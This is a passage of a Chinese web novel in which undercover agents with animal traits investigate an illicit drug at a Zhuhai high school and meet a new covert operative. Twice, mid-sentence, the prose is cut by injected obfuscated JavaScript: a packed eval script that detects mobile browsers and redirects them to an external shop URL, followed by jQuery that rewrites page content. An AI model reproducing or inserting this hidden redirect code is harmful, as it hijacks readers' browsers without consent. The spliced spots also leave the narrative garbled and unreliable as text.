“芒果千层,回去先放冰箱。”
“好。”
“晚上切一块给我。”
“好。”
“你也吃。”
“好。”
谢燃闭上眼睛,嘴角翘了起来。
车子继续往前开,穿过珠海市周日下午的慵懒阳光,穿过榕树的影子,穿过那些平凡得不能再平凡的街景。在这个城市的某个角落,一个哈士奇Omega少年正在家里帮妈妈收拾餐桌,一边洗碗一边哼着跑调的歌。他的妈妈站在阳台上,看着楼下的榕树,手里握着手机,眉头微微皱着,不知道在想什么。
而在更远的地方,在珠海市北边的丘陵地带,某个废弃的仓库里,也许正有人在配制着那种浅黄色的液体。那些液体会被装进小瓶子里,被送到一个脸色苍白的蜘蛛Alpha手中,一点一点地毁掉他的腺体,也毁掉他的未来。
谢燃闭着眼睛,脑子里转过这些念头,但没有睁开眼。
他想,今天是个好日子。
蛋糕很甜,酸菜鱼很辣,陆妈妈的笑容很暖。
他想把这些记住。
23. 窗外的猫头鹰
周日晚上的公寓,灯亮得比平时早。
谢燃和纪砚从陆大寻家回来后,把芒果千层蛋糕放进冰箱,各自洗了澡,换了干净衣服。谢燃穿着那件洗得发白的灰色睡衣,头发还半湿着,尾巴因为沾了水比平时小了一圈,看起来像一只落汤狐狸。纪砚穿着黑色的长袖T恤和深灰色的运动裤,头发已经吹干了,整整齐齐的,坐在沙发上看手机。
谢燃从浴室出来,一边用毛巾擦头发一边走到冰箱前,打开门,盯着那盒芒果千层看了三秒,然后关上冰箱门。
“你刚才不是说要吃吗?”纪砚头都没抬。
“留着,等韩队来了一起吃。”
“他还不一定来。”
“他说的今晚过来。”
“他说的是‘可能’。”
谢燃把毛巾搭在脖子上,走到沙发前,一屁股坐到纪砚旁边,凑过去看他的手机屏幕:“看什么呢?”
“年绪的消息。”纪砚把手机往他那边偏了偏,没有避开,“她说样本收到了,分析需要三到五天。”
“三到五天?这么久?”
“她说这次的样本比上次复杂,里面有多种环境微生物,可以反推出仓库的大致位置和通风条件。”
谢燃点了点头,靠在沙发上,仰头看着天花板。那道裂缝还在,从吊灯延伸到墙角,像一条干涸的河流。他盯着那道裂缝看了几秒,忽然说:“韩队怎么还不来?”
“你问了第三遍了。”
“我着急。”
“急什么?”
“急情报。急XK-9的生产点。急织网者。”谢燃掰着手指头数,“急谭照周三的行动,急冥安还能撑多久——三个月,年绪说的,三个月腺体坏死。你让我怎么不急?”
纪砚沉默了几秒,把手机放下,转过头看着谢燃。他的表情依旧淡淡的,但那双黑眼睛里有一种很稳的东西,像是深水下的岩石,任凭上面风浪多大,它都在那里。
“急没有用。”纪砚说,“一步一步走。”
谢燃看着他的眼睛,深吸一口气,又吐出来。他的尾巴从湿漉漉的状态慢慢蓬松起来,像一朵正在绽放的花。
“你说得对。”他说,“一步一步走。”
门铃响了。
谢燃从沙发上弹起来,光着脚跑到玄关,拉开门。韩征远站在门口,穿着一件深色的夹克,手里拎着一个塑料袋,脸上的表情介于疲惫和无奈之间。
“韩队!”
“嗯。”韩征远走进来,换鞋的时候看了一眼谢燃的脚,“光脚不冷?”
“不冷,我毛厚。”
“你的毛长在尾巴上,不在脚上。”
谢燃低头看了看自己的脚,确实没毛,脚趾头冻得有点发白。他嘿嘿一笑,跑回去穿拖鞋。韩征远走进客厅,把塑料袋放在茶几上,从里面拿出三罐啤酒和一袋花生米。
“今晚不走了?”纪砚问。
“住一晚,明天一早走。”韩征远坐到沙发上,拉开一罐啤酒,喝了一大口,然后看着谢燃从卧室方向跑回来,拖鞋啪嗒啪嗒地响。
“韩队,年绪说样本分析要三到五天。”谢燃一屁股坐到韩征远旁边,拿起一罐啤酒,拉开,也喝了一大口。
“我知道。她跟我同步了。”韩征远又喝了一口,放下啤酒罐,从夹克内袋里掏出一个平板电脑,解锁,调出一份文件,“我今天来不只是为了等她的报告。还有一件事。”
纪砚坐直了身体。
“你们之前问过我,冥安上游的织网者有没有线索。”韩征远把平板递给纪砚,“ASI内部最近截获了一条加密通讯,来源不明,但解码后发现了一个关键词——‘和风’。这个词出现在通讯中两次,上下文都指向和风四中。”
谢燃放下啤酒罐,凑过去看平板上的内容。是一份解码报告,密密麻麻的代码和注释,中间用红色标出了两个“和风”。
“织网者在和风四中?”谢燃的眉头皱了起来。
“不一定是织网者本人,但至少有一条线和和风四中有关。”韩征远靠回沙发,揉了揉眉心,“你们在学校里要更小心。如果织网者真的和学校有联系,那他可能已经注意到你们了。”
纪砚把平板还给韩征远,沉默了几秒,然后说:“姜雅。谭照。冥安。这三个人都在和风四中。如果织网者和学校有联系,那他很可能就在这三个人背后,或者——”
“或者他就是这三个人中的一个。”韩征远接过话。
客厅里安静了几秒。窗外的风大了些,吹得窗户框框响。珠海市的秋天到了晚上就凉得厉害,但室内的气氛比温度更冷。
“还有一个消息。”韩征远拿起啤酒罐,发现空了,又拿了一罐新的,“ASI派了一个暗中的特工来支援你们。不是明面上的人,不会和你们一起上课,但会在暗处提供支援。情报、掩护、清理痕迹——你们需要什么,找他。”
谢燃和纪砚对视了一眼。
“谁?”纪砚问。
“程宇。”韩征远说,“猫头鹰Alpha,21岁,特长是痕迹清除。代号‘白纸’。他能抹去任何现场留下的物理与信息素痕迹,包括监控、指纹、气味。ASI内部评价他是近五年来最优秀的痕迹清除专家。”
“21岁?”谢燃挑了挑眉,“比我还小两岁?”
“人家21岁已经是老手了。”韩征远说,“他从17岁就开始出任务,经验丰富。你们别因为他年纪小就小看他。”
“我们什么时候小看过人?”谢燃说。
“你小看过陆大寻。”
“那是刚开始,后来就不小了。”
韩征远看了他一眼,没有继续这个话题。他站起来,走到窗边,拉开窗帘,看了看外面的夜色。路灯亮着,楼下巷子里空荡荡的,只有一只野猫蹲在垃圾桶旁边,绿莹莹的眼睛在黑暗中发光。
“他应该快到了。”韩征远说。
话音刚落,客厅的窗户发出了一声轻微的“咔嗒”。
不是风。是有人从外面打开了窗锁。
谢燃的尾巴瞬间炸开,火焰从尾尖窜出,右手已经探出去准备凝聚火焰刀。纪砚的身体微微前倾,重心下沉,一只手按在沙发扶手上,随时准备发力。韩征远站在窗边,没动,表情甚至没有任何变化。
窗户被推开了。
一个人影从窗外翻了进来,动作轻得像猫,落地没有声音。他穿着一件深色的连帽外套,帽子拉得很低,几乎遮住了半张脸。他的身形修长,肩膀不宽,但看起来很结实。他的尾巴——灰褐色的,羽毛状的,猫头鹰的尾巴——在身后轻轻一摆,然后收拢,紧贴着身体。
他站直了,伸手把帽子掀开,露出一张年轻的、带着点痞气的脸。头发是深棕色的,眼睛是琥珀色的,瞳孔比普通人圆一些——猫头鹰的特征。他的嘴角挂着一丝笑意,不是那种客气的笑,而是那种“我知道我出现的方式很离谱但我就是故意的”的笑。
他看了看谢燃,又看了看纪砚,然后微微欠身,动作带着一种刻意的不正经。
“初次见面。”他说,声音不大,但很清楚,“ASI暗中特工,21岁,猫头鹰Alpha,代号‘白纸’——程宇。见过两位前辈。”
谢燃的火焰刀还在手上,没有收回去。他上下打量了程宇一眼,目光在他身上停留了两秒,然后转头看韩征远。
“韩队,你让他从窗户进来的?”
“他自己选的。”韩征远靠在窗框上,双手抱胸,表情没有任何波澜,“我说了走门,他说‘走门没意思’。”
程宇咧嘴笑了,露出一口白牙:“前辈们好。韩队跟我提过你们,说你们是曙光学院最优秀的毕业生,我一直想见见。”他的目光在谢燃和纪砚之间转了一圈,“果然名不虚传——这位火狐前辈,你的刀能收了吗?窗外的风有点大,我冷。”
谢燃盯着他看了三秒,然后火焰刀在手中融化,重新变回狐尾。他收回尾巴,靠在沙发上,双手抱胸,表情还是带着一丝警惕。
“你怎么进来的?”谢燃问,“五楼,没有外挂楼梯,没有阳台,你从外墙爬上来的?”
“爬墙是我的专长之一。”程宇走到沙发旁边,很自然地坐下,像是回了自己家一样,“猫头鹰Alpha的爪子抓力很强,攀爬不是问题。而且你们这栋楼的外墙有很多凸起和管道,爬起来很容易。”
“很容易?”纪砚开口了,声音不大,但带着一种让人脊背发凉的冷静,“五楼的外墙,晚上,没有保护措施。你管这叫很容易?”
程宇看了看纪砚,笑容不变,但眼神里多了一丝认真:“纪砚前辈,对吧?韩队说你话少,但每句话都问到点子上。果然如此。”
他顿了一下,补了一句:“我受过专业训练,这种高度的攀爬对我来说确实很容易。但如果前辈觉得不妥,下次我走门。”
纪砚没有接话,但他的表情从“警惕”变成了“观察”。
韩征远从窗边走过来,坐回沙发上,拿起啤酒罐又喝了一口。他看着三个人——谢燃靠在沙发上,尾巴微微绷紧;纪砚坐得笔直,目光锁定在程宇身上;程宇坐在两人对面,姿态放松,但手指在膝盖上无意识地轻轻敲着——那是他在适应新环境时的习惯动作。
“程宇,”韩征远说,“把你在和风四中观察到的情况说一遍。”
程宇收起笑容,从外套内袋里掏出一个折叠的平板,展开,屏幕上是一张和风四中的平面图,上面标注了各种颜色的点和线。
“我到和风四中已经五天了。”他说,“住在学校附近的一间出租屋里,每天从早到晚观察学校的进出人员、车辆和异常情况。”他用手指在屏幕上点了几下,“这是校门的主要出入口,每天早上的客流高峰期是七点到七点四十,大部分学生步行或坐公交,少部分家长开车送。这是保安科的位置,我注意到保安科副科长谭照每天早上七点二十准时到岗,下午五点半离开,路线固定,行为规律。”
“这是校医室。”他的手指移到另一个位置,“姜雅,蛇Omega,校医。她每天早上七点五十到校,比大部分老师都早。我观察了她五天,发现她每周一、三、五会提前半小时到校,在校医室里待着,窗帘拉上,不知道在做什么。”
谢燃的身体微微前倾。这些信息他们也有,但程宇的角度不一样——他是从外部观察的,看到了他们从内部看不到的东西。
“冥安。”程宇继续,“蜘蛛Alpha,高二(4)班。他每天早上七点四十左右到校,比大部分学生晚。我注意到他每次从校门进来的时候,都会在校门口的榕树下停两秒,看一眼校医室的方向,然后再往里走。这个动作很细微,不仔细看根本看不到。”
“他是在确认姜雅是否到校。”纪砚说。
“我也这么认为。”程宇点了点头,“另外,我追踪了谭照周三下午的行踪。上周三,他离开学校后去了冥安家所在的小区,停留了大约四十分钟。出来的时候手里没有袋子了。我进小区查了一下,冥安住的那栋楼没有电梯,楼道里没有监控,但我在楼外的垃圾桶里找到了一样东西。”
他从口袋里掏出一个密封袋,里面装着一小片撕裂的黑色塑料布。
“这是我在冥安家楼下的垃圾桶里找到的。黑色塑料布,材质很厚,不是普通的垃圾袋,更像是用来包裹某种容器或者设备的缓冲材料。”他把密封袋放在茶几上,“上面有残留的气味——很淡,但我的鼻子能闻到,是XK-9的那种苦味。”
谢燃拿起密封袋,凑近闻了闻。确实,一股极淡的苦味从袋子里渗出来,和冥安身上的味道一模一样。
“你确定是从冥安家楼下的垃圾桶里找到的?”谢燃问。
“确定。我比对过同一栋楼其他楼层的垃圾桶,没有这种塑料布。”程宇的语气很笃定,“谭照上周三送的东西,应该是用这种塑料布包裹的。冥安拆开后,把塑料布扔了,但没扔远,就扔在楼下的垃圾桶里。”
纪砚看着那袋塑料布,沉默了几秒,然后说:“你进小区的时候,有没有被人看到?”
“没有。”程宇笑了笑,“我是猫头鹰,夜行动物。我是晚上去的。”
“晚上去翻垃圾桶,你不嫌味儿大?”谢燃问。
“味儿是有点大,但值了。”程宇把密封袋收回去,“这份样本我已经送了一份给年绪,她会分析上面的残留物。如果运气好,能提取到足够的XK-9成分,就能和你们之前找到的玻璃碎片做比对,确认是不是同一批次的药。”
韩征远在旁边听着,一直没有插话。等程宇说完,他才开口:“程宇的能力你们也看到了。他会在暗处协助你们,不会暴露身份。你们有需要,可以通过加密频道联系他。”
“用什么加密频道?”纪砚问。
程宇从口袋里掏出三个拇指大小的黑色方块,放在茶几上。方块很薄,表面没有任何标识,看起来像某种电子元件。
“骨传导通讯器。”他说,“贴在耳后,用皮肤接触传导声音,不会被任何监听设备捕捉到。有效距离三公里,加密等级是ASI最高级。你们俩一人一个,我一个,韩队一个。”
谢燃拿起一个方块,翻来覆去看了看:“这玩意儿贴上去会不会掉?”
“不会。用的是医用级生物胶,出汗也不会掉。撕下来的时候用酒精擦一下就行。”
纪砚也拿起一个,看了看,放进口袋。
程宇站起
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536135|203814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来,伸了个懒腰。他的动作带着一种猫头鹰特有的慵懒和警觉并存的感觉——看起来放松,但每一个关节都在待命。
“前辈们,那我就先走了。”他说,“以后有什么事,随时联系。我住在学校东边的那栋老居民楼,三楼,窗户朝南。你们要找我可以从窗户进——当然,走门也行。”
谢燃站起来,看着程宇,沉默了一秒,然后伸出手:“别叫前辈了,叫谢哥就行。这是纪砚,纪哥。”
程宇看着谢燃伸出的手,愣了一下,然后笑了。他握住了谢燃的手,握得很用力:“谢哥。纪哥。以后请多指教。”
纪砚微微点头,算是回应。
程宇松开手,转身走向窗户。他推开窗,冷风灌进来,吹得窗帘猎猎作响。他一只脚踩上窗台,回头看了一眼。
“对了,谢哥。”他说,“听说你上周被教导主任抓了,因为抽烟?”
谢燃的表情僵住了。
“还被罚站了一个上午?”程宇的嘴角咧得更开了,“我在曙光学院的时候听过你的名字,说你是那一届最优秀的近战特工,任务完成率百分之百,A2火焰刀一打七完胜。结果你栽在一个高中教导主任手里?”
谢燃的尾巴炸开了。
“韩队告诉你的?”
“韩队没告诉我,我自己查的。”程宇笑得肩膀直抖,“和风四中的校内通报,贴在教导处门口的那种。我路过的时候看到的,‘高二(6)班谢燃同学违反校规第十二条,在校园内吸烟,罚站一个上午’——上面还有你的签名。”
“程宇。”谢燃的声音从牙缝里挤出来,“你是不是觉得我脾气很好?”
“没有没有没有——”程宇赶紧摆手,但笑容怎么都收不住,“谢哥你脾气最好了,纪哥说的。”
纪砚在旁边端起茶杯喝了一口,表情淡得像什么都没听到。
谢燃转头瞪着纪砚:“你跟他说我脾气好?”
“我没说。”纪砚放下茶杯,“他自己猜的。”
“纪哥确实没说。”程宇已经半个身子探出窗外了,一只手抓着窗框,回头补了一句,“谢哥,下次抽烟记得嚼口香糖。陈主任的鼻子比警犬还灵。”
说完,他松开手,整个人消失在窗外。
谢燃冲到窗边往下看,只见程宇的身影在墙外几个起落,抓住空调外机的支架,轻巧地翻到了下一层的窗台上,然后又是一次跳跃,落在二楼的遮雨棚上,再一跳,稳稳地落在地面上。他抬起头,朝五楼的窗户挥了挥手,然后转身走进巷子,消失在夜色中。
整个过程不到十秒。
谢燃关上窗户,拉好窗帘,转过身,看着韩征远。
“韩队。”
“嗯。”
“你从哪找来这么个活宝?”
韩征远拿起花生米,剥了一颗扔进嘴里,嚼了两下:“不是我找的,是首刃官派来的。”
客厅里安静了一瞬。
首刃官。那个十五年前违令救援废弃飞船的人,那个从未解释过自己为什么做出那个决定的人,那个每年空中计划纪念日都会在办公桌上收到一瓶威士忌和一包竹叶茶的人。
他派了程宇来。
这意味着什么?意味着ASI高层对和风四中的案件重视程度远超他们的预估。意味着织网者可能不只是一个地方性的犯罪分子,而是牵连更广的目标。意味着首刃官在关注这个案子——关注他们。
“首刃官知道我们在这里?”纪砚问。
“知道。”韩征远说,“这个任务本来就是经他批准的。”
谢燃和纪砚对视了一眼。他们一直以为这个任务是韩征远安排的,是CHI行动组的常规调查。但首刃官亲自批准——这就不常规了。
“别想太多。”韩征远站起来,拍了拍裤子上的花生壳碎屑,“首刃官批准这个任务,是因为它重要,不是因为你们。你们该干什么还干什么,不要因为知道上面有人在看就改变行为方式。”
“知道了。”纪砚说。
韩征远看了看手表,快十一点了。他打了个哈欠,走向客房——那是他每次来住的地方,床上已经铺好了干净的床单,是纪砚下午换的。
“我先睡了,你们也早点睡。明天周一,还要上课。”他走到客房门口,停下来,回头看了一眼谢燃,“对了,谢燃。”
“嗯?”
“你在曙光学院待了那么多年,各种严苛训练都扛过来了,没被教官抓到过一次违纪。”韩征远的嘴角微微翘起来,“结果在普通高中,被一个教导主任抓了抽烟,罚站一个上午。”
谢燃的脸黑了。
“这说明什么?”韩征远继续说,语气里带着一种父亲式的、让人又恨又爱的调侃,“说明你这个人,越简单的地方越容易翻车。好好反思一下。”
“韩队——”
“晚安。”韩征远关上了门。
谢燃站在客厅中间,尾巴炸成了一朵红色的蒲公英。他转头看着纪砚,纪砚正在收拾茶几上的啤酒罐和花生米袋子,表情没有任何异常。
“纪砚。”
“嗯。”
“你是不是也觉得很好笑?”
“没有。”
“你嘴角在动。”
“那是肌肉抽搐。”
“你每次都用这个借口!”
纪砚把垃圾袋打了个结,站起来,走向厨房。路过谢燃身边的时候,他停了一下,侧头看了他一眼。
“下次抽烟,嚼口香糖。”
然后他走进厨房,关上了门。
谢燃站在原地,深吸了一口气,又吐出来。他的尾巴慢慢从炸毛状态恢复过来,垂在身后,尾尖微微卷起。
他走到冰箱前,打开门,拿出那盒芒果千层蛋糕。切了两块,放在盘子里,一块端到客房门口,轻轻敲了敲门。
“韩队,蛋糕。”
门开了一条缝,韩征远的手伸出来,接过盘子,缩回去,门关上了。
谢燃端着另一块蛋糕走回客厅,坐在沙发上,拿起叉子,切了一小块塞进嘴里。蛋糕很甜,芒果很新鲜,奶油不腻,入口即化。
他嚼着蛋糕,看着厨房的方向。厨房的灯亮着,水龙头哗哗地响,纪砚在洗碗。
窗外的夜空中挂着一弯细月,星星不多,但很亮。珠海市的夜晚安静得像一个睡着了的巨兽。
谢燃吃完蛋糕,把盘子放在茶几上,靠在沙发上,闭上眼睛。
他想,今天发生了很多事。去了陆大寻家,吃了陆妈妈做的酸菜鱼,见到了程宇——那个从五楼窗户翻进来的猫头鹰Alpha,被韩队嘲笑了抽烟被抓的事。
但芒果千层很甜。
他想,这就够了。
24. 日常与暗流
周一早晨,谢燃是被闹钟吵醒的。
七点整,手机在枕头边震得像发了疯。他伸手摸了两下没摸到,第三下才抓住,按掉闹钟,翻了个身,准备再睡五分钟。然后他闻到了煎鸡蛋的味道——不是糊的那种,是金黄的、边缘微焦的、让人胃里咕噜叫的那种。
他坐起来了。
纪砚站在厨房里,灶台上两个盘子,盘子里各摆着一个完美的煎鸡蛋。旁边还有两碗白粥,一碟咸菜,两根切好的油条。他穿着校服,头发梳整齐了,看起来已经准备好出门了。
“你几点起的?”谢燃揉了揉眼睛,走到餐桌前坐下。
“六点半。”
“周末你也六点半起?”
“今天周一。”
“周一也不用六点半起啊。”
纪砚把筷子递给他,没有回答这个问题。谢燃接过筷子,夹起煎鸡蛋咬了一口,溏心的,蛋黄流出来,浸在白粥里,金黄金黄的,好看又好吃。他嚼了两下,含混地说:“你煎鸡蛋的技术已经超过我了。”
“你本来就没有技术。”
“我有。我的技术是把鸡蛋煎糊。”
“……那不叫技术。”
两人吃完早饭,出门的时候天已经大亮了。珠海市的周一早晨总是很忙碌,街上到处都是赶路的人——送孩子上学的家长、骑电动车上班的年轻人、拎着菜篮子的老人。谢燃缩着脖子走路,校服拉链拉到最上面,尾巴在身后慢悠悠地晃着。纪砚走在他左边,手里拿着一个文件夹——不是情报,是数学笔记,他昨晚又整理了一份题型总结。
“你今天还带笔记?”谢燃瞥了一眼。
“中午给你讲题。”
“中午我要睡觉。”
“吃完午饭讲,讲完你再睡。”
“纪砚,你知不知道你这个人最大的问题是什么?”
“什么?”
“你太爱学习了。”
纪砚看了他一眼,那眼神的意思是“你太不爱学习了”。谢燃假装没看懂,加快了脚步。
校门口,榕树下,陆大寻已经在那里等着了。
他今天手里拿着一个饭盒,不是塑料袋,是那种带分隔的、粉色的、印着小花的饭盒。谢燃看到那个饭盒的第一反应是——这不是陆大寻的风格。
“谢哥!纪哥!”陆大寻跑过来,把饭盒举得高高的,“我妈让我带的!芒果千层!她说昨天你们带回去的可能不够吃,今天又做了一个小的!”
谢燃接过饭盒,打开看了一眼。里面是一块切好的芒果千层,用保鲜膜包着,旁边还塞了几颗草莓。
“你妈也太好了吧。”谢燃说。
“那可不,我妈天下第一好。”陆大寻得意地晃了晃尾巴,“对了,纪哥,我妈还让我问你,竹笋炒肉够不够吃,她说下次多做点。”
纪砚微微愣了一下,然后说:“够了。谢谢阿姨。”
“你自己跟她说,她有你的微信。”陆大寻从口袋里掏出手机,“我妈昨天加你了,你通过一下。”
纪砚拿出手机,果然有一条好友申请,头像是一只哈士奇的自拍——不是陆大寻,是陆妈妈。她用自己的照片做头像,笑容温暖,眼睛弯弯的。纪砚点了通过。
“我妈说你通过了就跟她说一声,她要给你发菜谱。”陆大寻说。
“菜谱?”
“她说你喜欢吃竹笋,就把她拿手的竹笋炒肉菜谱发给你,让你以后自己也能做。”
纪砚沉默了一秒,然后低头打字,发了一条消息过去。谢燃凑过去看了一眼,纪砚写的是:“阿姨好,我是纪砚。谢谢您的菜谱。”
后面跟了一个句号。
谢燃看完那个句号,笑了。纪砚发消息从来不加标点符号以外的任何东西,不发表情包,不打“哈哈”,连“好的”都只打“好”。但今天他加了一个句号,完美地结束了一个完整的句子。这就是纪砚表达“我很认真”的方式。
陆大寻没有看到那条消息,但他看到了谢燃的笑。
“谢哥你笑什么?”
“笑你妈太好了。”
“那当然!”陆大寻的尾巴甩得更快了。
三个人走进教学楼,走廊里已经有很多人了。谢燃从人群中穿过,尾巴高高翘起,以免被人踩到。走到高二(6)班教室门口的时候,他的脚步顿了一下。
冥安站在走廊尽头,背靠着墙,手里拿着一本书。他的校服穿得一丝不苟,脸色依旧苍白,眼下的黑眼圈比上周更重了。但他的站姿——谢燃注意到,他的重心比上周更偏右,像是左腿在承受某种不适。
谢燃只看了一眼就收回了目光,走进教室,坐到自己的座位上。
纪砚跟在他后面,放下书包,拿出课本。
陆大寻坐在谢燃后面,凑过来压低声音:“冥安今天又不对劲。”
“哪里不对劲?”谢燃头都没回。
“他的站姿。他以前站的时候重心在两腿中间,今天偏右了。可能是左腿不舒服,或者是——”陆大寻的声音压得更低了,“或者是注射了什么药物,导致肌肉酸痛。”
谢燃的手指在桌面上轻轻敲了两下。暗号:收到。
纪砚微不可查地点了下头。
第一节课是数学,王老师讲了一套卷子。谢燃把纪砚昨晚整理的笔记放在旁边,一边听一边对照,虽然还是有很多地方听不懂,但至少知道哪里不懂了。这在谢燃的学习生涯中已经算是巨大的进步。
王老师走到谢燃桌边的时候,低头看了一眼他的笔记本。
“有进步。”王老师说。
谢燃抬起头,表情诚恳得像在领奖:“谢谢王老师,我会继续努力的。”
王老师看了他一眼,那眼神里有欣慰,也有一丝“我怎么不太相信”的怀疑。但他没说什么,继续往前走了。
纪砚在旁边写题,笔尖沙沙地响。谢燃用余光看了他一眼,发现他的嘴角有一个很小的弧度——那个弧度比平时大了那么一点点。
第二节课是英语,老师发了上周的测验卷子。谢燃考了61分——第一次及格。他看着卷子上那个红色的“61”,愣了两秒,然后转头看纪砚。纪砚的卷子是98分,扣了两分作文。
“我及格了!”谢燃压低声音,语气里带着一种藏不住的得意。
“嗯。”
“你就‘嗯’?”
“不然呢?”
“你应该说‘恭喜你’或者‘你真棒’。”
“你真棒。”
“……你能不能有点感情?”
纪砚转过头,看着谢燃,面无表情地说:“你真棒。”这次每个字都咬得很清楚,但语调还是平的,像机器人。
谢燃叹了口气,把卷子折好放进书包里。及格就是及格,不管纪砚怎么念,这个分数不会变。他心里美滋滋的,连带着第三节课的物理都听进去了一些。
第三节课后的大课间,谢燃没有去校医室那条走廊——他让程宇盯着那边,有情况会通过骨传导通讯器通知他。他和纪砚站在教室门口的走廊上,假装在聊天,实际上在观察整栋楼的动静。
骨传导通讯器贴在耳后,很小,被头发遮住了,看不出来。谢燃第一次用这东西,总觉得耳朵后面痒痒的,想伸手去挠,被纪砚按住了手。
“别动。”纪砚说,“越动越痒。”
“你怎么知道?”
“因为我也痒过。”
“那你怎么忍住的?”
“忍着。”
谢燃深吸一口气,把手放下来,继续忍着。
大约过了五分钟,通讯器里传来程宇的声音,很清晰,像在他耳边说话:“谢哥,校医室那边没动静。姜雅在里面,窗帘拉了一半,能看到她在看书。冥安没来。”
谢燃用指节在通讯器上敲了两下,表示收到。
这个通讯器有个好处——不需要说话,敲击编码就能传递简单信息。谢燃和纪砚在曙光学院学过这套编码,程宇也会。
“纪哥,”程宇的声音又响起来,“保安科那边,谭照在办公室里,一个人在喝茶。没有异常。”
纪砚用手指轻轻敲了一下通讯器。
“对了,”程宇补了一句,“你们班那个哈士奇Omega,陆大寻,他在三楼厕所门口站着,好像在等人。需要留意吗?”
谢燃看了纪砚一眼。纪砚微微摇头。
谢燃在通讯器上敲了三下——意思是“观察,不干预”。
“收到。”程宇说。
大课间快结束的时候,陆大寻从三楼跑下来,气喘吁吁的,尾巴在身后甩得飞快。他跑到谢燃面前,弯着腰喘了两口气,然后抬起头,眼睛亮晶晶的。
“谢哥!我刚才在三楼看到冥安了!”
谢燃的表情没变,但身体微微前倾:“在哪?”
“厕所。他在厕所里待了很久,大概有十分钟。出来的时候脸色很差,手里攥着一个小瓶子,跟上次一样的。”陆大寻压低声音,语速很快,“他把瓶子放进了校服内侧口袋,然后去了校医室的方向。”
“他去了校医室?”
“嗯,我看到了他下楼的背影。但我不敢跟太近,怕被发现。”
谢燃拍了拍陆大寻的肩膀:“做得对。不要跟太近。”
陆大寻被夸了,尾巴翘得更高了,整个人像一只被顺了毛的小狗。他嘿嘿一笑,跑回教室去了。
谢燃和纪砚对视了一眼。
冥安今天去了校医室,不是周一、周三、周五的规律,是周一和周一——上周一去了,这周一又去了。频率在增加。他的药量可能不够了,或者他的身体状况在恶化,需要更频繁地用药。
“中午跟程宇同步。”纪砚低声说。
“嗯。”
第四节课是历史,老师在讲近代史,声音平稳得像在念课文。谢燃撑着下巴,目光飘向窗外,操场边的榕树在风中摇晃,气根像无数只垂下来的手。远处的海面上有一艘货轮在缓缓移动,拖着一道白色的浪尾。
他的手机在桌斗里震了一下。不是陆大寻,是年绪发来的消息:
“塑料布样本分析完成。XK-9残留物与玻璃碎片样本匹配度91%,确认是同一批次。另外,塑料布上检测到一种工业粘合剂,常用于包装医疗器械。供应商可能在珠海市范围内。——年绪”
谢燃看完,把手机递给纪砚。纪砚扫了一眼,把手机还回去,在笔记本上写了一行字:“晚上跟韩队汇报。”
谢燃点了点头。
中午吃饭的时候,食堂里人山人海。
陆大寻已经占好了靠窗的位置,面前摆着三个餐盘——他自己的,以及谢燃和纪砚的。他朝谢燃挥了挥手,动作大得像在指挥飞机降落。
“这儿这儿这儿!”
谢燃走过去,一屁股坐下,拿起筷子就开吃。纪砚随后跟过来,在谢燃旁边坐下,动作不紧不慢。
陆大寻一边吃饭一边说话,嘴巴里的东西还没咽下去就开始说:“今天下午体育课考引体向上,谢哥你能做几个?”
“不知道,没试过。”谢燃嚼着鸡腿。
“我最多做三个。”陆大寻伸出三根手指,“胳膊太细了,没力气。”
“你多练练就好了。”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536136|203814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
练了,上个月我一个都做不了,现在能做三个了,进步了百分之三百。”
纪砚在旁边喝汤,听到这话,放下汤碗说:“从零到三,进步是无穷大。”
陆大寻愣了一下,然后笑了:“纪哥你数学真好。”
“不是数学好,是逻辑好。”
“那你帮我看看这道数学题呗?”陆大寻从口袋里掏出一张皱巴巴的草稿纸,“我昨天做了一晚上没做出来。”
纪砚接过草稿纸,看了一眼,拿起笔在空白处写了几行步骤,推回去。陆大寻看了几秒,眼睛亮了:“原来是这样!谢谢纪哥!”
谢燃看着这一幕,忽然觉得这个画面很像一家人——虽然他没有过家,但他在电视里看过。爸爸辅导作业,妈妈在旁边吃饭,孩子在中间。不对,谁是爸爸谁是妈妈?他想了一下,觉得自己还是别想了。
下午第一节课是体育课。
男生们在单杠前排成一排,一个一个上去做引体向上。大部分人都做不了几个,能做五个以上的就是班里的壮汉了。轮到谢燃的时候,他跳起来抓住单杠,手臂发力,下巴轻松过杠,一个、两个、三个——他做了十五个,然后跳下来,拍了拍手上的灰。
体育老师看了他一眼,又看了一眼成绩表,嘟囔了一句:“你臂力不错。”
谢燃笑了笑,没说话。曙光学院的训练标准是三十个,十五个对他来说只是热身。
纪砚排在他后面,上去做了十二个,比谢燃少三个。他跳下来的时候,谢燃凑过去说:“我赢了。”
“引体向上而已。”
“赢了就是赢了。”
纪砚没理他,走到旁边喝水去了。
陆大寻是最后一个,他跳上去,憋红了脸,做了三个,第四个做到一半就掉下来了。他挂在单杠上晃了两下,跳下来,拍了拍手,自我安慰地说:“三个,跟上次一样,没有退步就是进步。”
谢燃笑了,笑得靠在单杠柱子上,尾巴在身后晃来晃去。
体育课结束的时候,太阳已经偏西了,阳光把操场染成金红色。谢燃和纪砚走在最后面,前面是三五成群的同学,叽叽喳喳地聊着天。陆大寻被几个男生拉着去打篮球,跑远了,尾巴在夕阳中像一面白色的旗。
“纪砚。”谢燃忽然开口。
“嗯。”
“你说,如果冥安知道自己在被用药,他为什么不跑?”
纪砚沉默了几步。
